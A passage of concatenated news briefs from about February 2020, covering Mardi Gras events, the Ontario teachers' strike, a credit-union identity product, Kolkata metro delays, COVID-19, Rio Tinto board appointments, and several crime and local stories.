entitled "Spartak National Ballet First Performance." The performance with be held with the participation of acrobatics, circus tricks and stunt fights performed by 250 artists at the Skhid Opera Kharkiv National Academic Opera and Ballet Theater. Participants include General Project Manager Ihor Tuluzov; Chairman of the Board of PJSC Bank Vostok Vadym Morokhovsky; owner of the Saltivsky Meat Processing Plant group of enterprises Denys Paramonov; General Director of the Sun Oil Trading House Leonid Kosyanchuk; and Project Coordination Manager Iryna Diadchenko (8/5a Reitarska Street). Admission requires press accreditation. Additional information by phone: ((050) 133 0702 (tel, Viber, Telegram, Wat's Up), Irina@graff.in. Let the good times roll at these Katy Mardi Gras celebrations Mardi Gras is Feb. 25, and these Katy celebrations are ready to laissez les bon temps rouler. Grab your krewe and check out these local Fat Tuesday special events. Monty Ballard YMCA Mardi Gras Party Monty Ballard YMCA will be celebrating Mardi Gras with crafts, parades, king cake and family friendly fun from 10 a.m. to 12 p.m. This event is free and open to the public. Monty Ballard YMCA is located at 22807 Westheimer Pkwy. Mos Place Fat Tuesday Mos Place is hosting their annual Fat Tuesday party from 3-9 p.m. Enjoy live music, crawfish, door prizes and drink specials. Mos Place is located at 21940 Kingsland Blvd. The Rouxpour Fat Tuesday This family friendly event features a crawfish boil, specialty cocktails, live music and dancing and face painting. The event is from 3-11 p.m. in the LaCenterra shopping center at 2643 Cinco Ranch Blvd. No Label Beads and Beer Celebrate Mardi Gras and support a local dog rescue at No Label Brewing Co.s Beads and Beer. The event, which features plenty of Mardi Gras fun, also benefits Greenawalds Service Inc., a nonprofit that trains rescue dogs as service animals for veterans. The event is from 4-8 p.m. at No Label Brewing Co., 5351 First St. Fat Tuesday at BBs Katy Step right into New Orleans at BBs Fat Tuesday celebration. BBs will have live music from Cajun performers Gerard DelaFose and da' Zydeco Gators, frozen hurricanes, crawfish, fried seafood, po'boys and Mardi Gras fun. The event is from 4-9 p.m. at BBs Katy, 405 W. Grand Parkway. Little Woodrows Fat Tuesday Stop by Little Woodrows for a crawfish boil and drink specials on famous Louisiana beverages like hurricanes and Abita beers from 5-11 p.m. Little Woodrows is located at 22225 Katy Fwy. Minors are not allowed inside Little Woodrows. Fish City Grill Fat Tuesday Party Fish City Grill promises crawfish, drink specials, live music and beads, beads and more beads at their Mardi Gras celebration. Fish City Grill will also be serving up traditional Cajun dishes like fried alligator, crawfish etouffee, king cake, shrimp jambalaya pasta, blackened redfish and bayou fried catfish from 11 a.m.- 9 p.m. Fish City Grill is located in LaCenterra at 23501 Cinco Ranch Blvd. Fat Tuesday at Orleans Seafood Kitchen Orleans Seafood Kitchen is all things New Orleans at their Mardi Gras celebration. The event, which goes from 6-10 p.m. features drink specials, Cajun plates, live music and plenty of beads. Orleans Seafood Kitchen is located at 20940 Katy Fwy. claire.goodman@chron.com Upwards of 200,000 teachers from across Ontario are on the picket lines Friday as a show of unity and force against the provincial government. Its the first time in over 20 years that the unions have held a mass walkout, and its expected to shut down 5,000 public, Catholic and French schools and impact two million students. Premier Doug Ford criticized the strike Thursday. Just imagine how many people have to find child care or take a day from work, he said. Thats unacceptable. The French and Catholic unions held talks with the Ontario government this week but no deals were reached. Teachers have engaged in job action since late last year, but todays massive strike is the biggest operation yet. Heres how the day is playing out: 1 p.m. Crowds started to fizzle out in the afternoon, after a morning of marching. I think today was a tremendous show of strength and force, said Jessica Lyons, a parent organizer for Ontario Parent Action Network. OPAN had supplies to make picket signs, hot chocolate, snacks and musical instruments for children to take part in at Queens Park. We are all united, we are all on the same page. Metrolinx spokesperson Anne Marie Aikins said traffic is ramping up as the crowds at Queens Park begin to fizzle out. Its manageable, but its pretty busy, Aikins said. Lots of kids, lots of strollers. Toronto police said demonstrators are leaving, opening up Bloor to College streets near Queens Park. 12 p.m. The Stars Kristin Rushowy tweets that OSSTF will resume rotating strikes next week. 11 a.m. Stand up comedian and host of Family Feud Canada Gerry Dee tweeted a story in solidarity with the teachers. He spoke to the Star about the big impact a former teacher had on his life and why he supports the teachers unions. In grade 9, when Dee was a student at De La Salle College in Summerhill, he came to know a charismatic physical education teacher named Marty Lemire. Dee said Lemire looked after him while he was in school, and went above and beyond the typical teacher mandate to help students. He had this distinct voice, and he wanted us to call him Marty, not Mr. Lemire, and he was the hockey coach, Dee said. Dee played on the junior hockey team and when it came time for a team trip to Montreal, and Dee said couldnt afford it but Lemire paid for him. He just said, Dont worry, Ill look after it, he said. Dee said Lemire visited him at one of his shows during a meet-and-greet. Dee said he got the attention of the 200 attendees and told everyone the story of how his high school teacher went out of the way to pay for Dees hockey trip, when he and his family couldnt afford it themselves. That was the last time they saw each other. Six months later, Lemire passed away after a battle with cancer. It was a very sad time for me, Dee, a former teacher himself, said. He was a good guy. We get so caught up in numbers and dollar signs, budgets; we forget that at the heart of this is humanity, he said. They are almost like a second set of parents ... and most of them are going above and beyond. 10 a.m. The protest officially begins as thousands march and gather around the provincial legislature. Union leaders are calling on Education Minister Stephen Lecce to come out and meet with them. You need to show unity and thats what we are doing, said OSSTF/FEESO President Harvey Bischof. Anne Marie Aikins, senior media manager with Metrolinx, said the morning rush hour was a bit slower than usual due to schools being shut down, but that people are filing in gradually. The number of people in Union Station at this point-in-time in the day, normally its much reduced and we can see the volume starting to increase, she said. Toronto police are on scene to assist with traffic and demonstrators. They said Queens Park from Bloor to College are impacted and suggest motorists avoid the area. 9 a.m. Protesters begin gathering across Ontario in solidarity with the four unions on strike. According to organizers, roughly 30,000 picketers will be at Queens Park, and in Peel Region, 20,000 people will line 30 kilometres of Highway 10, from the lake north to Caledon. The four union presidents are speaking with the media prior to their meeting with the government. Mr. Lecce has been as toxic as the previous minister, said Official Opposition Leader Andrea Horwath, saying that the impasse between government and union will not conclude under his leadership. 8 a.m. Two hours before the strike is scheduled to begin, the Stars Kristin Rushowy is waiting outside Queens Park for the masses to arrive. The 200,000-plus protesters are demanding that education minister Stephen Lecce, along with the Ford government, stop proposed cuts to education. Read more about: [February 21, 2020] CULedger Adds Three Credit Unions to MemberPass Pilot Program CULedger, a credit union service organization (CUSO) that delivers a trusted, peer-to-peer services network of verifiable digital exchange for credit unions, announced the addition of three more credit unions to their MemberPass pilot program. Dunedin, FL-based Achieva Credit Union; Honolulu, HI-based HawaiiUSA Federal Credit Union and Jackson, MS-based Eagle Express Federal Credit Union have signed on to the growing list of credit unions implementing MemberPass for their members. MemberPass, formerly known as MyCUID, allows credit unions to offer the simplest, most secure way to connect with their members. Being the first KYC-backed digital credential, members are in control of their identity, giving them a standardized way to verify themselves to their credit unions. "Offering MemberPass will allow for our members to experience an entirely new sense of security with their information," said John Wintermeier, Chief Business Officer at Achieva Credit Union. "Their ability to be in control of the verification process and truly own their information is really accelerating the industry in terms of security standards, and we are excited to be starting our implementation later this year." CULedger's MemberPass program currently has 11 credit union organizations committed and in various stages of deployment. As announced in December, UNIFY, TruWest and Desert Financial have successfully completed their MemberPass pilots, which provided valuable feedback from the members themselves. This feedback has been used to make adjustments to MemberPass so subsequent users can have an even more seamless experience. "MemberPass gives credit unions the ability to remain a truly trusted financial partner for members by showing the importance of keeping their identity safe and in their hands," said Karl Yoneshige, President/CEO at HawaiiUSA Federal Credit Union. "HawaiiUSA is excited to be one of the 11 credit unions piloting MemberPass, with our pilot deployment scheduled for later this year. We are thrilled to provide this upgraded security measure to our members." Achieva, HawaiiUSA and Eagle Express are utilizing MemberPass for their digital credential when members call into their contact centers. MemberPass has the ability to replace their traditional Knowledge Based Authentication (KBA), resulting in a significant decrease in overall call time as well s potential fraud reduction. "MemberPass was created to truly address core privacy issues that were taking credit unions by storm. By producing this global digital credential to showcase one's identification outside of the normal KBA approach, credit unions and their members will benefit from a safer experience with the knowledge that their information is secure and, in their hands," said John Ainsworth, president and CEO of CULedger. "Our previous pilots have showcased the need in the industry and how members can benefit from heightened security. Allowing members to have control of their information provides a sense of security that has slowly disappeared from financial services and is becoming increasingly important in this new digital age." Based on the feedback received from completed pilots and from members themselves, MemberPass is now commercially available. For more information on how to get involved in offering MemberPass or to see a demo of these and other use cases, visit www.memberpass.com or contact Dante Terrana at 813-601-8160 or [email protected]. About CULedger Denver-based?CULedger is a credit union-owned?CUSO?(credit union service organization)?that is creating the premier platform of digital exchange for financial cooperatives globally. In working through a national consortium made up of credit unions and trusted industry investors, CULedger has pioneered new developments related to global self-sovereign decentralized identity,?MemberPass, that will further enhance the trust credit unions have with their members. CULedger provides advantages to credit unions and their members by reducing risks associated with cybersecurity and fraud, improving member experience, streamlining internal processes and reducing administrative and operational costs. To learn more about CULedger, visit?www.culedger.com?or follow the company on the?CULedger blog,?LinkedIn?or?Twitter. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005269/en/ [ Back To TMCnet.com's Homepage ] Underground tunnelling work for the East West Metro corridor is likely to take 10 more months to be completed, as a key machine has been damaged beyond repair, an international expert committee appointed by the Kolkata Metro Rail Corporation (KMRC) said here on Friday. Besides, the safety of the people living in dilapidated buildings - many of which were built over 120 years ago - in one part of the route is a cause for concern, said Leonard John Endicott, a geotechnical expert and head of the committee. "The biggest challenge is that many buildings in the area are in poor condition. Our concern is the safety of the people," he told newspersons here. The tunnelling work, which was put on hold after one of the two tunnel boring machines (TBM) hit an aquifer on August 31 last year in Bowbazar area leading to severe ground subsidence and collapse of buildings, will recommence in full swing in a day or two, Endicott said. With the TBM getting damaged beyond repair in the accident, the work will have to be completed with one TBM only. The working TBM has been moved a few rigs to check for all safety parameters put in place to ensure that there is no repeat of the previous incident. "We are being supercautious," Endicott said. Prior to that accident at Bowbazar in central Kolkata, two TBMs were working parallelly, boring tunnels for the up and down lines of the East West Metro corridor. "It will take around 5 months for the TBM to go up to Sealdah from Bowbazar. Thereafter, it will take three months for the TBM, which is a huge machine, to turn around. "It will take another two months for the machine to dig on the other side and reach up to the point where the first TBM had cut the tunnel," the geotechnical expert said. He said the working TBM has been upgraded and it now has 50 per cent more capability to ensure that the ground holds during tunnelling work. "Special measures have been taken to ensure that water does not seep into the tunnel," he said adding that work will be stopped within 60 minutes of noticing any abnormality during tunnelling in the area. The damaged TBM, which Endicott said is a "write-off", will be dismantled and taken away from the underground shaft. The Calcutta High Court had on February 11 allowed resumption of tunnel-boring work for the East West corridor. Accepting a report by IIT-Madras, the court's division bench directed the KMRC, the executing agency for the project, to restart operations in Bowbazar, in consultation with the institute. The bench comprising Chief Justice TBN Radhakrishnan and Justice Arijit Banerjee had in September last year ordered suspension of tunnelling work till further orders. Three months later, the KMRC, in view of a report prepared by its expert committee, moved the court seeking its permission to resume operations. On a prayer by an NGO to get the expert committee report vetted by an independent agency, the KMRC requested IIT-Madras to review its findings. The institute, in its report, stated that tunnel- boring work could be resumed. On February 13, the 4.88km-long first phase of the East-West Metro, connecting information technology hub of Sector V in Salt Lake with Yuva Bharati Krirangan stadium, got functional. Inaugurating the service, Railway Minister Piyush Goyal had said the entire 16.5-km stretch of the corridor - from Sector V to Howrah Maidan - is likely to be ready in two years. The East West Metro corridor was earlier scheduled to be completed by June, 2021. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The internet fired back with vengeance at United States President Donald Trump after he mocked Korean film Parasites sweep of this years Oscars. He was at the re-election campaign rally in Colorado Springs when he vented against the film and the awards ceremony. How bad was the Academy Awards this year? We got enough problems with South Korea, with trade. On top of it, they give them the best movie of the year? Trump asked in disbelief. Trump, whose presidency has been built on a nationalist America first slogan, said it was time to bring back classics from Hollywoods golden age. Lets get Gone With the Wind. Can we get Gone With the Wind back please? Sunset Boulevard? he said. Parasite is a dark comedy exploring class divides by Bong Joon-Ho. It made history by becoming the first non-English-language film to win Hollywoods biggest annual prize, Best Picture and also Best Director for Bong. Meanwhile, 1939 classic Gone With the Wind has been criticised over the years for its racist undertones. Trump goes off on the Oscars for giving Best Picture to Parasite because it's a South Korean movie pic.twitter.com/GUGKdExTbw Claudia Koerner (@ClaudiaKoerner) February 21, 2020 Twitter users, who were ecstatic about Parasites win, were incensed at Trumps comments. Even the films US distributor Neon weighed in. Understandable, he cant read, a tweet from the official page read. Trump hates Parasite because he cant read, read another tweet. Parasite is a foreign movie about how oblivious the ultra-rich are about the struggles of the working class, and it requires two hours of reading subtitles. Of course Trump hates it, tweeted the official Twitter account of The Democrats war room. Im sure Trump has not seen Parasite. Im sure if he saw Parasite he would not understand it. Im sure if you slowly explained to him that its about class warfare he would still not understand. (Hes a Birth of A Nation kinda guy.) https://t.co/3NMbOuv1HX Toure (@Toure) February 21, 2020 He will never know how good Parasite is because he can't read https://t.co/i76UOBQtVq rabia O'chaudry (@rabiasquared) February 21, 2020 As the film was shot in Korean, viewers all over the world watched the it with subtitles in English or other languages. When Bong won the Golden Globe Award, he had said in his speech, Once you overcome the 1-inch-tall barrier of subtitles, you will be introduced to so many more amazing films. Also read: After publicly slamming David Dhawan, Govinda breaks silence on Varun Dhawans Coolie No 1 reboot Filmmaker Adam Best tweeted, Parasite is about a family of con artists who lie their way into a house and cause mayhem. Sound familiar, Donald. Totally on brand for Trump to complain about the South Korean movie Parasite winning Best Picture at the Academy Awards over a 1939 film like Gone With The Wind. One is about the struggles of the Asian working class. The other is a Confederate sob story about a racist white lady, read another tweet. In his address, Trump also took a crack at Best Supporting Actor winner Brad Pitt, calling him a little wiseguy. I was never a big fan of his. Hes a little wise guy, he said. Pitt used his award acceptance speech to support the impeachment of Trump. Follow @htshowbiz for more BEIJING Chinese health officials expressed new optimism Thursday over the deadly virus outbreak while authorities in South Koreas fourth-largest city urged residents to hunker down as fears nagged communities far from the illness epicenter. The confidence voiced by Chinas government came as it reported a reduced number of new infections. But doubts remained about the true trajectory of the epidemic as China again changed its method of counting and new threats emerged outside the country. The downward trend will not be reversed, insisted Ding Xiangyang, deputy chief secretary of the State Council. Whatever promises were aired where the illness poses its biggest threat, countries around the world continued to grapple with the rippling effects. The latest front in the widening global fight against COVID-19 emerged in Daegu, South Korea, where the citys 2.5 million residents were urged to stay inside. Mayor Kwon Young Jin made a nationally televised appeal for those preventative measures, warning that a rash of new cases could overwhelm the health system. Daegu and surrounding towns reported 35 new cases of the coronavirus on Thursday. The flare-up came more than 900 miles from COVID-19s epicenter across the Yellow Sea in Chinas Hubei province and its capital of Wuhan, a sign of the risks the virus potentially poses to communities across the region and beyond. Though all but about 1,000 of more than 75,000 reported cases of COVID-19 have been recorded in China, scattered cases have erupted elsewhere. Iran announced three more infections Thursday, a day after it reported its first two deaths stemming from the virus, and South Korea reported its first fatality. Japan said two former passengers of the Diamond Princess cruise ship had died of the illness, bringing the death toll there to three. Ken Moritsugu is an Associated Press writer. PR-Inside.com: 2020-02-21 09:08:02 Rio Tinto board changes media.enquiries@riotinto.com riotinto.com Follow @RioTinto on Twitter Media Relations, United Kingdom Illtud Harri M +44 7920 503 600 David Outhwaite T +44 20 7781 1623 M +44 7787 597 493 Media Relations, Americas Matthew Klar T +1 514 608 4429 Media Relations, Asia Grant Donald T +65 6679 9290 M +65 9722 6028 Media Relations, Australia Jonathan Rose T +61 3 9283 3088 M +61 447 028 913 Matt Chambers T +61 3 9283 3087 M +61 433 525 739 Jesse Riseborough T +61 8 6211 6013 M +61 436 653 412 Investor Relations, United Kingdom Menno Sanderse T: +44 20 7781 1517 M: +44 7825 195 178 David Ovington T +44 20 7781 2051 M +44 7920 010 978 Investor Relations, Australia Natalie Worley T +61 3 9283 3063 M +61 409 210 462 Amar Jambaa T +61 3 9283 3627 M +61 472 865 948 Rio Tinto plc 6 St Jamess Square London SW1Y 4AD United Kingdom T +44 20 7781 2000 Registered in England No. 719885 Rio Tinto Limited Level 7, 360 Collins Street Melbourne 3000 Australia T +61 3 9283 3333 Registered in Australia ABN 96 004 458 404 This announcement is authorised for release to the market by Steve Allen, Rio Tintos Group Company Secretary. Category: General Rio Tinto will appoint three new independent non-executive directors to the board. Hinda Gharbi, executive vice president of Reservoir & Infrastructure at Schlumberger Limited (Schlumberger), and Jennifer Nason, a Global Chairman at JP Morgan Chase & Co (JP Morgan), will join the board with effect from 1 March 2020. Ngaire Woods, Professor of Global Economic Governance at Oxford University, will join with effect from 1 September 2020. The new directors broaden the experience of the board, bringing complementary skills and international expertise across diverse backgrounds in natural resources, finance, technology, governance and public policy. These appointments bring Rio Tintos board back to full strength at twelve directors. Hinda Gharbi is executive vice president of Reservoir & Infrastructure at Schlumberger, a position she assumed in February, 2019. Ms Gharbi has been on the Schlumberger executive committee for the last three years and has been with the company for 24 years, working in various engineering, functional and line management positions, including health and safety, human resources, technology development and operations across France, Malaysia, Nigeria, Thailand, the United Kingdom and the United States. Hinda has dual Australian-Tunisian nationality. Jennifer Nason is a Global Chairman at JP Morgan, with over 30 years experience of corporate finance and capital markets. For the past 17 years, she has led the Technology, Media and Telecommunications global client practice, based in the USA. During her time at JP Morgan, she has also worked in the metals and mining sector team in Australia. Jennifer has dual Australian-US nationality and is a current director and former chair of the American Australian Association. Ngaire Woods CBE is the founding Dean of the Blavatnik School of Government, Professor of Global Economic Governance and the Founder and Director of the Global Economic Governance Programme at Oxford University. She has been a Fellow of University College, Oxford for the past 17 years. She has also been a visiting lecturer at Harvard University and the Central European University. As a recognised expert in public policy, international development and governance, she has served as an adviser to the African Development Bank, the Asian Infrastructure Investment Bank, the Center for Global Development, the International Monetary Fund and the European Union. She serves on the board of the Stephen A. Schwarzman Education Foundation and as a Rhodes Trustee. Ngaire is a dual New Zealand and British citizen. Rio Tinto chairman Simon Thompson said "I am delighted to welcome Hinda, Jennifer and Ngaire and look forward to benefiting from their insights and expertise in natural resources, finance, technology, governance and public policy. Their diverse international experience will further strengthen the Rio Tinto board. Rio Tinto confirms that, with respect to each of the new non-executive directors, there are no matters to be disclosed pursuant to Rule 9.6.13(1) (6) of the Listing Rules of the UK Listing Authority. LEI: 213800YOEO5OQ72G2R82 Classification: 3.1. Additional regulated information required to be disclosed under the laws of a Member State. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005 Rio Tinto to appoint three new independent non-executive directors to the board. Muslims in London feared a mosque attack had been brewing following similar atrocities at places of worship around the world, a community leader has said. Shaukat Warraich, chief executive of non-theological group Faith Associates, said worshippers are now looking over their shoulders as they come to prayer, with many women and children opting to stay at home rather than venture out to mosques after dark. Mr Warraich told the PA news agency he spoke to the London Central Mosque in Regents Park about their security measures only an hour before Thursdays attack, in which a man knifed the muezzin, who makes the call to prayer, at around 3pm. London's Metropolitan Police said the incident was not believed to be terror-related. The victim was taken to hospital with non life-threatening injuries. Mr Warraich said many Muslims had been on edge since the Christchurch mosque shootings in New Zealand last March, when 51 people were killed and many others injured by a white supremacist. He said: Things have been brewing for some time now, since the Christchurch attacks (generally) the community has feared something like this. Regents Park is the most iconic mosque in London because of its size and location, but it is probably also the most secure in terms of what they have and resources and manpower. But generally mosques are soft targets. Most dont have any security apart from some CCTV. What we are seeing now is definitely a change in behaviour women have stopped going and some children too, they have been advised by the menfolk not to come to prayer in the evenings and to worship at home instead, because there are concerns about being attacked at prayer or on the way to the mosques. People are looking over their shoulders, 100%. Mr Warraich said others have stopped congregating around the entrance to mosques if they arrive late for prayers as they do not want to be considered a target. He said it would send the wrong message to introduce airport-style security, but said mosques were now consulting with security companies in order to make worshippers feel safer. Yesterday people attending the London Central Mosque in England tackled a knifeman after he stabbed a man in his 70s who was leading the call to prayer. A 29-year-old man, who is believed to have been attending prayers at London Central Mosque in Regents Park, central London, was arrested on suspicion of attempted murder at the scene. The British Prime Minister Boris Johnson said he was "deeply saddened to hear of the attack at the London Central Mosque." (Newser) WOIO calls it a botched prison escape in Ohio that ended in "embarrassing fashion." ABC7 calls it an "epic fail"or should it be "epic fall"? It was all of these things for Jessica Boomershine, who was caught on surveillance camera determinedly trying to find her way out of a lounge-like area in the Montgomery County Jail in Dayton. Both media outlets have a clip, which shows Boomershine, with other inmates casually watching, standing on a kiosk seat and looking up at the ceiling. She then drags a chair over, climbs atop the kiosk monitor, and apparently removes a ceiling tile (that part can't be seen on screen). She then hoists herself up and her legs disappear out of view. story continues below The ceiling apparently wasn't made to withstand escapees, however, and debris starts to fall just seconds laterfollowed by the ceiling completely giving way, leaving her legs dangling. Corrections officers are in the room by this point, and they grab her legs; she eventually lets go of the ceiling and crashes down to the ground, a trash can breaking her head's fall. Boomershine now has escape and vandalism charges tacked on to charges she already was facing, including kidnapping, felony assault, burglary, robbery, and grand theft related to an attack on an 85-year-old man, per ABC7. (Does this sound familiar?) By Laman Ismayilova Young Azerbaijani pianist Leyla Zeynalova has been awarded in Estonia. The piano musician received the Grand Prix of International Frederick Chopin Competition 2020 held in the city of Narva. Young pianist thrilled the audience with a solo program in the first and second rounds and, finally, with an orchestra. Leyla Zeynalova is a second-year student at the Baku Music Academy. A presidential scholarship holder is the winner of multiple international music contests held in Azerbaijan, Germany, Estonia, Denmark, England, Belgium and Estonia. In 2019, Leyla Zeynalova successfully participated in the 8th International Contest of Young Pianists in Latvia, where she earned three awards. Notably, International Frederick Chopin Competition 2020 brought together 41 young musicians from all over Europe and Asia. The history of the International Chopin Competition dates back to 1997 when the ambassador of Poland in Estonia Mr Jakub Wolasiewicz took the initiative to organize in Narva the first piano competition dedicated to the works of the great Polish composer Frederick Chopin for students of music schools. As the first competition was very successful, in 1999 it was decided to hold the 1st International competition with participation of the young musicians from the states around the Baltic Sea. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz (Newser) After a garbled call to 911, the system was able to trace the caller to an apartment complex but not to a specific apartment. Police and firefighters searched the area for 45 minutes Monday, the Times-Union reports, but couldn't find the caller in the Troy, New York, apartments. Yeming Shen's roommate found him later, six hours after the Rensselaer Polytechnic Institute student had tried to summon help. He died of the flu, an autopsy found, per the Post-Star. It was influenza A, which the county health director said "comes on very sudden and severe." Health and campus officials offered assurances that Shen, a doctoral student who was from China but hadn't been home in at least 13 months, did not die of the new coronavirus. story continues below The school's health director said the campus has five times the number of flu cases it usually has at this time of yearand it's out of flu vaccine. "What happened this year was flu came in quite early," the county health official said. "And when it comes in early it does sometimes divide and mutate, and so we have a couple strains circulating right now." Because the young and old are most at risk, she said, others tend to dismiss the danger. "Flu kills people," she said. "I think a lot of times we take it for granted because it comes around every year, but it's a very serious virus and it kills people." (Read more flu stories.) Chennai, Feb 21 : Chennai police has begun a probe into an accident involving the collapse of a crane while constructing a set for the shooting of Kamal Haasan-starrer 'Indian 2', a police official said on Friday. A police official said police will prepare a questionnaire and issue summons to those present at the spot when the accident occurred. Three technicians -- Madhu, Chandran and Krishna -- were killed and 12 others injured after the crane fell on them while constructing the sets at the EVP Film City near here on Wednesday night. Directed by S. Shankar, 'Indian 2' features Kajal Aggarwal too. Haasan, Aggarwal along with Shankar had a providential escape on the fateful night. UK sheep meat exports fell by 17 percent in December mainly driven by a 31% drop in exports to France, figures show. Sheep meat exports from the United Kingdom fell to 7,600 tonnes in December, according to data from HMRC. This is a reduction of 17% (1,600 tonnes) year on year, and was predominantly driven by a 31% (1,200 tonnes) drop in exports to France. Analysing the results, Duncan Wyatt, lead analyst at AHDB, says, however, the data should be treated with some caution, as it is not corroborated by the French customs data. Export growth slowed in November, and with Decembers data, fourth-quarter volumes were 5% lower than during the same period in 2018. In 2019 as a whole, reported exports of sheep meat were 13% higher year on year at 93,600 tonnes. This has been driven by strong domestic production and healthy import demand from the continent, Mr Wyatt explains. Reported UK imports of sheep meat also fell in December, by 21% year on year. Volumes from New Zealand continued to be drawn to Asian markets, a pattern that has been seen all year. There is a risk that this could be temporarily interrupted as coronavirus disrupts the Chinese market, he adds. However, the underlying strength of Chinese demand is expected to remain for a long time to come. Annual figures for 2019 show that the UK imported 62,500 tonnes of fresh/frozen sheep meat in 2019, 19% less than in 2018. Passengers of the Kyiv-Moscow train ride, from which a Chinese woman with symptoms of ARVI had previously been removed, underwent a medical examination at a train station in Moscow, as the Ministry of Infrastructure of Ukraine reports on Facebook. According to the Ministry of Infrastructure, the train has been sanitized and is preparing to return to Ukraine. The employees of Ukrzaliznytsia are in constant contact with the train crew. The Office notes that, according to the Russian side, the results of laboratory studies of a Chinese citizen for a new coronavirus are negative. She is in the Bryansk regional infectious diseases hospital. Of the contact persons for the carriage to the infectious diseases hospital, five Ukrainian citizens (two men and three women) were also hospitalized. Their condition is normal, there are no complaints, laboratory tests are being conducted. "In the detached wagon there are six Ukrainian citizens who refused hospitalization. Food, heating and sanitary conditions in the detached wagon are provided. Working contacts are maintained with the Russian side. After receiving the results of laboratory tests of hospitalized passengers, a decision will be made on their further passage and on the return of the carriage, which is located in the sanitary parking lot in Bryansk," - the report said. In addition, an operational response headquarters was created in Ukrzaliznytsia. The situation is under the control of the Ministry of Infrastructure. As we reported before, 13 passengers of Kyiv-Moscow train, where citizen of China with high fever was spotted, hospitalized to hospital #4 in Bryansk The incident happened on February 17, a doctor at the hospital told this newspaper. In a bizarre incident, a man suffering from psychological disorder donned the role of a doctor at a district hospital in Chhatarpur, Madhya Pradesh, and started treating unsuspecting patients, reports reaching here on Thursday said. Bhopal: In a bizarre incident, a man suffering from psychological disorder donned the role of a doctor at a district hospital in Chhatarpur, Madhya Pradesh, and started treating unsuspecting patients, reports reaching here on Thursday said. The incident happened on February 17, a doctor at the hospital told this newspaper. The mentally-challenged man who later identified him as Dr Veer Bahadur from AIIMs, Delhi, occupied the vacant chair of a doctor in the hospital taking advantage of the latters absence in his chamber and started prescribing medicines to the patients dropping there, the civil surgeon revealed. The matter came to light when the patients who were treated by the mentally sick man reached the medical store in the hospital to buy the prescribed medicines. Medical store in-charge Anup Shukla had found something amiss when he saw wrong prescriptions and queried the patients about the doctor who prescribed the medicines. He then alerted the hospital authorities who rushed to the chamber to find the mentally challenged man occupying the chair of the doctor who had gone to attend his OPD duty. The mentally challenged man identified him as Dr Veer Bahadur, hospital authorities said. More than 400 entrepreneurs participated on Wednesday in the launch of the Romanian Business Chamber, which aims to help companies in the internationalization of their activity, according to a press release. "I was particularly glad to find that the number of entrepreneurs who find in the Romanian Business Chamber (RBC) the answer to their needs for information, entrepreneurial education, exchange of business information both at home and abroad is constantly increasing. I created this platform, this meeting point for business people, having as background both the experience during the mandate of secretary of state, involved in solving the problems of the business environment, as well as of the manager who has dealt directly with these problems. I want us to build a strong business community in Romania, to increase the Romanian investment volume abroad, to even the trade balance, to bring world-renowned companies to grow their business here," said RBC President Paula Pirvanescu. The objective of the RBC platform is to help the national companies in scaling and internationalizing their activity, both through the creation of branding, assistance regarding financing, but also by organizing match-making sessions, networking through which Romanian companies and investors can meet and explore the possibility of future cooperation with their counterparts from abroad. The team of specialists in fields such as government and European funding, foreign trade, market research and branding, led by Paula Pirvanescu, who coordinated InvestRomania and the Business Environment within the Ministry for Business Milieu, Commerce and Entrepreneurship, provides RBC members with an extensive network of experts in marketing, communication and internationalization strategies that offer commercial diplomacy and networking solutions in the process of breaking into international markets, as well as financing, integration in global value chains, internationalization and attracting investors for the sustainable development of national companies. AGERPRES A man involved in a disturbance at a South Side home told police he tried to shoot officers responding to a 911 call about the incident but his gun failed, officials said. Jacob Saucedo, 27, is charged with two counts of attempted capital murder of a police officer, one count of aggravated assault with a deadly weapon, aggravated robbery, and retaliation. His bail totals $375,000. On Feb. 3, Saucedo went to a relatives house in the 1100 block of South Gevers Street to ask him for money, police said. An affidavit states that when his request was refused, Saucedo allegedly threatened the relative with a machete. The relative told police he gave Saucedo money out of fear. Saucedo then ran away from the home, investigators said. On Monday, Saucedo returned to the home and police received a call at about 9 p.m. for a disturbance there. At the home, an officer and a detective found Saucedo pacing in the backyard with a gun in his hand. He placed the gun to his head, then allegedly aimed it at the officers while yelling at them, police said. Saucedo later told police he pulled the trigger twice but the gun did not fire. The officers took cover behind a parked vehicle and told Saucedo they had him at gunpoint. More police arrived at the home and surrounded Saucedo. An officer then persuaded Saucedo to drop his weapon and surrender without incident, police said. The relative and one other person at the home told police that Saucedo threatened to kill them before officers arrived, a report states. Jacob Beltran is a reporter covering San Antonio and Bexar County. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | jbeltran@express-news.net | Twitter: @JBfromSA The mountain lion that was confirmed to have attacked a six-year-old girl at Rancho San Antonio Park in Cupertino has been euthanized, officials say. According to a press release from the California Department of Fish and Wildlife, officers and park rangers spent three days searching for the animal, which was eventually found in a tree on Wednesday afternoon. "Because the animal has been confirmed to be the same one involved in the attack, it has been humanely euthanized by CDFW staff for public safety purposes," wrote CDFW spokesperson Jordan Traverso. "We made the decision to euthanize the lion because it was confirmed to have attacked a human." Officers initially sedated the mountain lion for DNA testing to determine the sample matched that of results taken from the victim on the day of the incident. Now deceased, the female lion was estimated to be 2-to-4 years old, weighing 60-70 pounds. Thats small for a full-grown lion, which can mean she wasn't thriving, Midpeninsula Regional Open Space District Area Superintendent Brad Pennington said in a statement on the park's website. Mountain lions face a lot of challenges. They need large, connected areas of habitat. Our region is divided by roads and development, which puts wildlife closer to people and us closer to the wildlife. The girl who was attacked is recovering from minor injuries, the CDFW reported. The park will re-open on Friday morning. The incident occurred on a trail called Wildcat Loop, where park rangers have recently placed warning signs reminding park visitors of the recent attack. They'll continue to monitor for "unusual wildlife behavior," according to the statement. The best way to handle a close-up confrontation with a mountain lion is to make loud noises and slowly back away not running or turning your back to the animal. Midpen rangers will hold an all-ages presentation and Q&A session on "Coexisting with Cougars" on Mar. 12 at Hidden Villa in Los Altos Hills. Amanda Bartlett is an SFGATE associate digital reporter. Email: amanda.bartlett@sfgate.com | Twitter: @byabartlett United States Immigration officers had arrested two individuals at a courthouse in Northern California, as reprted by the Los Angeles Times. The arrest included a man who was detained in a hallway while he was walking towards his hearing. This move violates a state law that requires a judicial warrant before an immigrant can be arrested inside the facility. US Immigration and Customs Enforcement agents conducted the operation on Tuesday at the Sonoma County Superior Court. According to some court officials, the arrest demoralizes local authority and frightens immigrants who entered the country illegally to participate in the United States' justice system. A 